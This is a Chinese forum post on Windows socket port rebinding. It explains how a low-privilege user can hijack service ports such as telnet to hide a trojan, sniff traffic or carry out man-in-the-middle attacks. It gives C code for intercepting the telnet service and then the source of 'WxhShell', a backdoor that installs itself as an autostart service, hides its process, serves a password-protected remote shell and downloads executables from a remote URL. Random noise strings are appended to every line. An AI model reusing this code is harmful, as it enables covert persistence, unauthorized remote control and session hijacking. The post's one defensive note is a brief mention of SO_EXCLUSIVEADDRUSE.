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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: s[@>uP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); eSNSnh]'  
M2Fj)w2   
  saddr.sin_family = AF_INET; '#PqI)P  
wKS-O%?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); jZT :-w  
u7P+^A97L_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); cN lY=L  
uo'31V0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 S5u#g`I]  
/NX7Vev  
  这意味着什么?意味着可以进行如下的攻击: yL x .#kx6  
\R\@t] >Y  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L2.`1Aag  
k5;Vl0Ho  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) KI@    
t`YZ)>Ws  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 aC~n:0 v  
F*JvpI[7n  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  )(Mr f{  
)1nCw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #3yw   
&_/%2qs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "=\_++  
6mpg&'>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 pNE\@U|4E  
@ PoFxv  
  #include "E)++\JL  
  #include ViwpyC'v  
  #include @U3foL2\  
  #include    X0Z-1bs  
  DWORD WINAPI ClientThread(LPVOID lpParam);   -F+P;S  
  int main() t_>bTcsU  
  { BT#=Xh  
  WORD wVersionRequested; k3>ur>aW  
  DWORD ret; "G9'm  
  WSADATA wsaData;  ;[KriW  
  BOOL val; `o8{qU,*]N  
  SOCKADDR_IN saddr; q X%vRf0  
  SOCKADDR_IN scaddr; n~)HfY  
  int err; xJ2O4ob  
  SOCKET s; ,)rZAI  
  SOCKET sc; '*N9"C  
  int caddsize; l P$r   
  HANDLE mt; |[owNV>  
  DWORD tid;   Uy59zB2|=  
  wVersionRequested = MAKEWORD( 2, 2 ); e4=FU&RpNH  
  err = WSAStartup( wVersionRequested, &wsaData ); ^/C $L8#  
  if ( err != 0 ) { k'ZUBTRq!  
  printf("error!WSAStartup failed!\n"); Go\} A:|s  
  return -1; 2@3.xG  
  } }x?H ~QQT  
  saddr.sin_family = AF_INET; 1KYbL8c  
   p37zz4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,]uX:h-EM  
MO~~=]Y'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C?60`^  
  saddr.sin_port = htons(23); +eBMn(7Cgv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rI<nUy P?  
  { ?wLdW1&PpX  
  printf("error!socket failed!\n"); :Dk@?o@2;C  
  return -1; r!.+XrYg  
  } E +Ujpd  
  val = TRUE;  H\=LE  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 LGo2^Xx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2&gd"Ak(  
  { jKj=#O  
  printf("error!setsockopt failed!\n"); sArje(5Eo  
  return -1; (lN;xT`=  
  } Foe>}6~{?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; VqD[G<|9T  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P^8^1-b  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V/3 {^Fcr  
b$?Xn{Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) .lvI8Jf~X  
  { uS,p|}Q&  
  ret=GetLastError(); rmPne8D=c(  
  printf("error!bind failed!\n"); lk[G;=K:.  
  return -1; /i{tS`[F2a  
  } ~IlF*Zz#}6  
  listen(s,2); :vYt Mp  
  while(1) ){+[$@9  
  { a IpPL8a  
  caddsize = sizeof(scaddr); KbwTj*k[  
  //接受连接请求 m%oGzx+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2#AeN6\@  
  if(sc!=INVALID_SOCKET) OB?SkR  
  { kRN|TDx(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6wb^*dD92  
  if(mt==NULL) b8N[."~:  
  { G{NSAaD[  
  printf("Thread Creat Failed!\n"); CJ9cCtA  
  break; %XJQ0CE<(  
  } t{R5 EU  
  } +X:J]- 1)  
  CloseHandle(mt); "[jhaUAK  
  } 6_R\l@a  
  closesocket(s); _/,SZ-C#L4  
  WSACleanup(); NZo<IKD$  
  return 0; oe(9mYWKa6  
  }   X~v4"|a  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5c: '>  
  { I!fB1aq-  
  SOCKET ss = (SOCKET)lpParam; c q*p9c  
  SOCKET sc; lo+xo;Nd  
  unsigned char buf[4096]; `E3:;|  
  SOCKADDR_IN saddr; p!+L  
  long num; "_K}rI6(t  
  DWORD val; ^oQekga\l  
  DWORD ret; Dq/3E-y5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8W~lU~-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   45x,|h[F{5  
  saddr.sin_family = AF_INET; SkiJ pMN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7fTxGm  
  saddr.sin_port = htons(23); !uWxRpT,7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) cVQatm  
  { &sm @  
  printf("error!socket failed!\n"); owE<7TGPI?  
  return -1; 'FShNY5  
  } t|;%DA)fjw  
  val = 100; XVQL.A7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m_Mwg  
  { Z0e-W:&;kF  
  ret = GetLastError(); O6yP qG*j  
  return -1; 2B HKS-J*  
  } W1xf2=z`)T  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) i{gDW+N  
  { ?VwK2w$&={  
  ret = GetLastError(); 1^aykrnQ>  
  return -1; ;"1/#CY773  
  } ^DBD63 N"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L~*u4  
  { !xkj30O(G  
  printf("error!socket connect failed!\n"); EVR! @6@  
  closesocket(sc); r2RBrZ@1  
  closesocket(ss); &&;ex9  
  return -1; P?^JPbfV  
  } [ZuVUOm  
  while(1) AK6=Ydu  
  { ?E % +}P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <u0*"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8)N0S% B  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 G9\EZ\x!  
  num = recv(ss,buf,4096,0); '.pgXsC:=?  
  if(num>0) xb%/sz(4  
  send(sc,buf,num,0); Ay 2b,q  
  else if(num==0) uu}'i\Q  
  break; !0`lu_ZN  
  num = recv(sc,buf,4096,0); vx'l> @]k  
  if(num>0) {3_Gjb5\\4  
  send(ss,buf,num,0); }A-{6Qe  
  else if(num==0) mv{<'  
  break; s~L`53A  
  } $( S*GF$S  
  closesocket(ss); y)P&]&"?  
  closesocket(sc); c8T/4hU MN  
  return 0 ; ;:P7}v fz!  
  } >GgE,h  
R0{Qy*YQ`  
!6lOIgn  
========================================================== ze&#i6S  
pg+b[7  
下边附上一个代码,,WXhSHELL 5`"iq "5Cf  
Qe_+r(3)k  
========================================================== 2zhn`m  
\fTTkpM  
#include "stdafx.h" fTBVvY4(  
bV_j`:MD  
#include <stdio.h> i&JpM] N  
#include <string.h> +vf:z?I8  
#include <windows.h> J2m"1gq,  
#include <winsock2.h> <P- $RX  
#include <winsvc.h> Q |%-9^  
#include <urlmon.h> >E, Q  
yX`#s]M  
#pragma comment (lib, "Ws2_32.lib") 1DUb [W8  
#pragma comment (lib, "urlmon.lib") q]K'p,'  
F'1k<V?  
#define MAX_USER   100 // 最大客户端连接数 sMP:sCRC  
#define BUF_SOCK   200 // sock buffer #00D?nC  
#define KEY_BUFF   255 // 输入 buffer ^;+[8:Kb  
K!p,x;YX  
#define REBOOT     0   // 重启 R }1W  
#define SHUTDOWN   1   // 关机 0*/kGvw`i  
+,z) #  
#define DEF_PORT   5000 // 监听端口 Y17hOKc`  
8&%Cy'TIz4  
#define REG_LEN     16   // 注册表键长度 7#ofNH J  
#define SVC_LEN     80   // NT服务名长度 ZNi +Aw$u  
teAukE=}  
// 从dll定义API S nW7x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 88+ =F XG  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =5?.'XMk  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `%Q&</X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6AAswz'$P  
> VP5vkv=  
// wxhshell配置信息 b:1 L@8s;  
struct WSCFG { dq(E&`SzK  
  int ws_port;         // 监听端口 ypl G18  
  char ws_passstr[REG_LEN]; // 口令 D*QYKW=)  
  int ws_autoins;       // 安装标记, 1=yes 0=no KU]ok '  
  char ws_regname[REG_LEN]; // 注册表键名 K3L"^a  
  char ws_svcname[REG_LEN]; // 服务名 .%IslLZ  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 gGEIK0\{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 eeW`JG-E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Kk=LXmL2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Yk'm?p#~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ywO mQcZ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n}JPYu  
9Sz7\W0  
}; ALXTR%f  
TdFT];:  
// default Wxhshell configuration wG8 nw;  
struct WSCFG wscfg={DEF_PORT, tb,9a!?  
    "xuhuanlingzhe", RU|X*3";T  
    1, >'b=YlUL  
    "Wxhshell", {jW%P="z$"  
    "Wxhshell", V&%C\ns4  
            "WxhShell Service", a.q;_5\5`  
    "Wrsky Windows CmdShell Service", +Ofa#^5);K  
    "Please Input Your Password: ", <bP#H  
  1, cI:-Z{M7z  
  "http://www.wrsky.com/wxhshell.exe", [pL*@9Sa&  
  "Wxhshell.exe" O%&cE*eX  
    }; -uj3'g (;w  
^s-25 6iI  
// 消息定义模块 JhP\u3 QE  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h&`y$Jj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; A?A9`w  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <^c3}  
char *msg_ws_ext="\n\rExit."; @^&7$#jq%  
char *msg_ws_end="\n\rQuit."; mlB~V3M'G  
char *msg_ws_boot="\n\rReboot..."; nxfoWy  
char *msg_ws_poff="\n\rShutdown..."; ~8{sA5y  
char *msg_ws_down="\n\rSave to "; Om9jtWk  
_{)9b24(  
char *msg_ws_err="\n\rErr!"; s$ z2 c  
char *msg_ws_ok="\n\rOK!"; N 9LgU)-Jt  
uokc :D  
char ExeFile[MAX_PATH]; /8c&Axuv  
int nUser = 0; - {{[cT I  
HANDLE handles[MAX_USER]; R/~,i;d>  
int OsIsNt; 0%#\w*X8  
N=~~EtX  
SERVICE_STATUS       serviceStatus; J+ts  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; TH:W#Ot  
)%F5t&lum  
// 函数声明 2w?hgNz  
int Install(void); qybxXK:  
int Uninstall(void); gCJIIzl%Bh  
int DownloadFile(char *sURL, SOCKET wsh); jn=:G+0  
int Boot(int flag); Ilq=wPD}j  
void HideProc(void); =wrP:wYF  
int GetOsVer(void); RB$ z]/=  
int Wxhshell(SOCKET wsl); :c=.D;,  
void TalkWithClient(void *cs);  prrT:Y  
int CmdShell(SOCKET sock); %\6Q .V#s  
int StartFromService(void); *yez:qnx  
int StartWxhshell(LPSTR lpCmdLine); x-;`-Uo%  
t)a;/scT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |8U;m:AS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B<,YPS8w  
HID([Wk  
// 数据结构和表定义 NBOCt)C;H  
SERVICE_TABLE_ENTRY DispatchTable[] = r4Q|5kT*i  
{ S|AjL Ng#  
{wscfg.ws_svcname, NTServiceMain}, O|'1B>X  
{NULL, NULL} L l}yJ#3,  
}; K 1W].(-@4  
!20X sO  
// 自我安装 76@qHTh }  
int Install(void) H=~9CJ+tc  
{ (MLhaux-  
  char svExeFile[MAX_PATH]; bRsTBp;R`I  
  HKEY key; tj5giQ3DG)  
  strcpy(svExeFile,ExeFile); z7T0u.4Ss  
tC)6  
// 如果是win9x系统,修改注册表设为自启动 6N" l{!  
if(!OsIsNt) { ~x]9SXD%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 27#5y_ `  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D$q'FZH  
  RegCloseKey(key); RN9;kB)c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RUo9eQIPD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fY W|p<Q0  
  RegCloseKey(key); 4XJiIa?  
  return 0; Gquuy7[&  
    } @~:8ye  
  } mYv(R!37'  
} Z :nbZHByh  
else { /nQ`&q  
s([dGD$i  
// 如果是NT以上系统,安装为系统服务 {y-^~Q"z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); rRb+_]Lg  
if (schSCManager!=0) eUBrzoCO  
{ j.|U=)E  
  SC_HANDLE schService = CreateService ,hRN\Kt)p  
  ( $>q@SJ1q  
  schSCManager, 1cC1*c0Z  
  wscfg.ws_svcname, c0rk<V%5+  
  wscfg.ws_svcdisp, m9":{JI.w  
  SERVICE_ALL_ACCESS, D1T@R)j  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #b)e4vwCq  
  SERVICE_AUTO_START, ,wj"! o#  
  SERVICE_ERROR_NORMAL, jndGiMA  
  svExeFile, Qa4MZj ;$K  
  NULL, EgM*d)X  
  NULL, JL^2l$up  
  NULL, ]?LB?:6  
  NULL, zP)~a  
  NULL ~ 'Vxg}  
  ); C9~~O~7x  
  if (schService!=0) A :e;k{J  
  { h~} .G{"  
  CloseServiceHandle(schService); p]T"|!d  
  CloseServiceHandle(schSCManager); jvwwJ<K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D E/:['  
  strcat(svExeFile,wscfg.ws_svcname); E"PcrWB&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @cD uhK"U}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); *?% k#S  
  RegCloseKey(key); .~D>5 JnEk  
  return 0; !8RwO%c(  
    } tWPO]3hW  
  } <L0#O(L  
  CloseServiceHandle(schSCManager); r4XH =  
} G| m4m.  
} 5iX! lAFJ  
~)]} 91p  
return 1; m$2<`C=  
} q1{H~VSn"  
^{yk[tHpS  
// 自我卸载 nk=$B (h  
int Uninstall(void) \2e0|)aF6  
{ el PE%'  
  HKEY key; S: :>N.y  
$)Bg JDr  
if(!OsIsNt) { \_BkY%a  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ym8}ZW-  
  RegDeleteValue(key,wscfg.ws_regname); ko\):DN  
  RegCloseKey(key); 5Av=3[kh"%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :k=mzO<&  
  RegDeleteValue(key,wscfg.ws_regname); gAbD7SE  
  RegCloseKey(key); A%bCMP  
  return 0; +9A\HQ|22  
  } 2N [=  
} CI7A# 6-  
} b/("Y.r=  
else { 6W2hr2Zy9  
$'wq1u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  %Y nmuZ  
if (schSCManager!=0) dA~ 3>f*b_  
{ Xyx"A(v^l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~Ci{3j :]  
  if (schService!=0) iz[gHB  
  { ^+|De}`u  
  if(DeleteService(schService)!=0) { | A)\ :  
  CloseServiceHandle(schService); r,(Mu  
  CloseServiceHandle(schSCManager); 8p^B hd  
  return 0;  H`QQG!  
  } k!L@GQ  
  CloseServiceHandle(schService); zTm]AG|0  
  } ^A_;#vK  
  CloseServiceHandle(schSCManager); %&<LNEiUN  
} (P|pRVO  
} !nf-}z e{  
t+Bf#:  
return 1; 8?FueAM'  
} GZ#aj|  
qSU| =  
// 从指定url下载文件 ?h8{xa5b  
int DownloadFile(char *sURL, SOCKET wsh) 8{ c!).  
{ [:EvTY  
  HRESULT hr; }j {!-&  
char seps[]= "/"; pox, Im  
char *token; R{hf9R,  
char *file; I/J7rkf  
char myURL[MAX_PATH]; sy5 Fn~\R  
char myFILE[MAX_PATH]; bZwnaM4"F  
~l E _L1-c  
strcpy(myURL,sURL); b{7E;KyY,  
  token=strtok(myURL,seps); IVxWxM*N<  
  while(token!=NULL) 2 @j";+  
  { 7Ke&0eAw  
    file=token; Jf;?XP]z  
  token=strtok(NULL,seps); }?8uH/+ZA  
  } Fj p.T;  
JCniN";r[  
GetCurrentDirectory(MAX_PATH,myFILE); rS XzBi{  
strcat(myFILE, "\\"); (8a#\Y[b  
strcat(myFILE, file); pbXi9|bI  
  send(wsh,myFILE,strlen(myFILE),0); 1 jb/o5n;  
send(wsh,"...",3,0); `C E^2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MjL)IgT  
  if(hr==S_OK) mh/n.*E7  
return 0; 4Ft1@  
else :Ixx<9c.  
return 1; 9"{W,'r&d  
j7QX ,_Q  
} ?uLeFD  
uzr\oj+>  
// 系统电源模块 B2=\2<  
int Boot(int flag) o2H1N~e#c  
{ G@ \Pi#1  
  HANDLE hToken; 32)tJ|m  
  TOKEN_PRIVILEGES tkp; QCOo  
.^(/n9|o-  
  if(OsIsNt) { +C]&2zc.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); j{++6<tr  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ?X$, fQ#F|  
    tkp.PrivilegeCount = 1; giY80!GX  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }ut]\]b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <U Zd;e@  
if(flag==REBOOT) { 7L5P%zLtB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 8T[ 6J{|C  
  return 0; YNdrWBf)  
} Aj>[z8!,  
else { }GwVKAjP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ka!I`Yf  
  return 0; I<oL}f  
} >`RRP}u=u  
  } Ut@RGg+f8  
  else { >H][.@LyR  
if(flag==REBOOT) { \*T"M*;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OR6ML- |  
  return 0; I&yVx8aH}  
} Wzq>JNn y  
else { c~}l8M %  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tb;d.^  
  return 0; upn~5>uCP  
} >pyj]y^3  
} Njc%_&r  
Z3KO90O!8  
return 1; ='?:z2lJ  
} q6#<[ 4?  
R6;Phdh<>  
// win9x进程隐藏模块 b,H[I!. %  
void HideProc(void) ;zTuKex~  
{ Ol /\t  
6aO2:|:yP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +\ _{x/u1  
  if ( hKernel != NULL ) eP1nUy=T  
  { 5/><$06rq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &jA\hg#9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *hhmTc#  
    FreeLibrary(hKernel); /hWd/H]  
  } !\ND(  
V)M1YZV{  
return; 5X.ebd;PT  
} % ~ ]xuP[  
Pf_F59"  
// 获取操作系统版本 4p`XG1Pt  
int GetOsVer(void) #EO1`9f48x  
{ e9pOisZ;8  
  OSVERSIONINFO winfo; l*aj#%ha  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yGBQ0o7E  
  GetVersionEx(&winfo); x+5p1sv6  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o?Nu:&yE  
  return 1; +Lm4kA+aE5  
  else "bQ[CD  
  return 0; jF"YTr6  
} >cMd\%^t  
 P\m7 -  
// 客户端句柄模块 LHCsk{3  
int Wxhshell(SOCKET wsl) w?vVVA  
{ 5MTgK=c  
  SOCKET wsh; Lm*VN~2  
  struct sockaddr_in client; CJknJn3m&  
  DWORD myID; 8;P2A\ X  
i%Z2wP.o  
  while(nUser<MAX_USER) ;^u*hZN[Up  
{ q z&+=d@  
  int nSize=sizeof(client); u+9<&)X0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bUy,5gk-  
  if(wsh==INVALID_SOCKET) return 1; K/_9f'^  
v5ur&egVs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  NW9n  
if(handles[nUser]==0) ?8@>6 IXn  
  closesocket(wsh); Ds8 EMtS  
else sRHA."A!8  
  nUser++; R0Ue0pF7  
  } zJlQ_U-!  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j=+"Qz/hr_  
^H'a4G3  
  return 0; ;oO v/3  
} }u{gR:lZ  
gY AF'?  
// 关闭 socket i8X`HbmN  
void CloseIt(SOCKET wsh) ;Q0bT`/X  
{ =1;=  
closesocket(wsh); 9W`Frx'h1  
nUser--; NmIHYN3  
ExitThread(0); B6P|Z%E;D6  
} V}w;Y?] J  
gYop--\14]  
// 客户端请求句柄 ybdd;t}&1  
void TalkWithClient(void *cs) xG&SX#[2  
{ +#J,BKul  
\$*$='6"  
  SOCKET wsh=(SOCKET)cs; t=euE{c  
  char pwd[SVC_LEN]; K r`]_m  
  char cmd[KEY_BUFF]; +V862R4,o  
char chr[1]; q~K(]Ya/  
int i,j; !G5a*8]  
&F$:Q:* *  
  while (nUser < MAX_USER) { d5I f"8`@  
]<uQ.~  
if(wscfg.ws_passstr) { R5_i15<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8[%Ao/m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qa >Ay|92e  
  //ZeroMemory(pwd,KEY_BUFF); Mn:/1eY  
      i=0; 7cg*|E@  
  while(i<SVC_LEN) { -ZOBAG*  
1Y xgR}7  
  // 设置超时 H&}ipaDO  
  fd_set FdRead; ^t "iX9  
  struct timeval TimeOut; #<7O08 :  
  FD_ZERO(&FdRead); S*)1|~pRvQ  
  FD_SET(wsh,&FdRead); n}-3o]ku  
  TimeOut.tv_sec=8; Ok-.}q>\Mv  
  TimeOut.tv_usec=0; |dE -^"_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >cmE t  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9?T{}| ?  
^D67y%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BfTcI)  
  pwd=chr[0]; ~q +[<xR\  
  if(chr[0]==0xd || chr[0]==0xa) { *v%rMU7,  
  pwd=0; L *[K>iW  
  break; wRNroQ  
  } uZKP"Oy  
  i++; ?ne_m:J[  
    } 2LY=D L7  
!{^\1QK  
  // 如果是非法用户,关闭 socket oSb, :^Wl  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >n5:1.g  
} xom<P+M!|  
{1 J&xoV"  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _#$9 y1bd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bucR">_p  
7Ob*Yv=[  
while(1) { u8zbYd3  
\6|/RFT  
  ZeroMemory(cmd,KEY_BUFF); ,FQdtNMap  
 0IM8  
      // 自动支持客户端 telnet标准   "R #k~R  
  j=0; }S_oH9A  
  while(j<KEY_BUFF) { w[Gh+L30=5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 72oWhX=M%  
  cmd[j]=chr[0]; s0UFym 8  
  if(chr[0]==0xa || chr[0]==0xd) { qUF'{K   
  cmd[j]=0; eKZ%2|+j!7  
  break; |w}w.%  
  } 6`01EIk  
  j++; em@EDMvI  
    } jZfx Jm  
U$&hZ_A  
  // 下载文件 f6<g3Q7Mu  
  if(strstr(cmd,"http://")) { U4?(A@z9^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m@Ev~~;  
  if(DownloadFile(cmd,wsh)) $9 p!Y}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &(rWwOo6  
  else {0\,0*^p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =(AtfW^H  
  } n_K~ vD  
  else { T>>YNaUL  
;a"q'5+Ne  
    switch(cmd[0]) { Nw J:!  
  aiCFH_H4;L  
  // 帮助 -l+P8:fL~  
  case '?': { w&&2H8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '$|UwT`s  
    break; 8Q`WB0E<|  
  } [jx0-3s:X  
  // 安装 ig"uXs  
  case 'i': { d=.2@Ry  
    if(Install()) u8b2$D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JEn3`B!*  
    else TrVWv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~IVd vm7  
    break; =x#FbvV  
    } Y[ reD  
  // 卸载 H!e 3~+)  
  case 'r': { >PKBo  
    if(Uninstall()) Weoj|0|t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VUU]Pu &  
    else \79X{mcd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *2 "6fX[  
    break; rk2xKm^w  
    } }|)R   
  // 显示 wxhshell 所在路径 D?jk$^p~m#  
  case 'p': { s)A<=)w/e  
    char svExeFile[MAX_PATH]; % u{W7  
    strcpy(svExeFile,"\n\r"); JD>d\z2QC  
      strcat(svExeFile,ExeFile); [ Mg8/Oy  
        send(wsh,svExeFile,strlen(svExeFile),0); Kz8:UG(  
    break; z5\;OLJS,  
    } `XTh1Z\  
  // 重启 Upl6:xYrG  
  case 'b': { |rRO@18dA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OY-w?'p?W  
    if(Boot(REBOOT)) 6+rlXmd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iItcN;;7  
    else { 5}ie]/[|  
    closesocket(wsh); c{ZY,C&<  
    ExitThread(0); BI[JATZG  
    } ~i'Nqe_  
    break; ;Z[]{SQ  
    } V5}nOGV9  
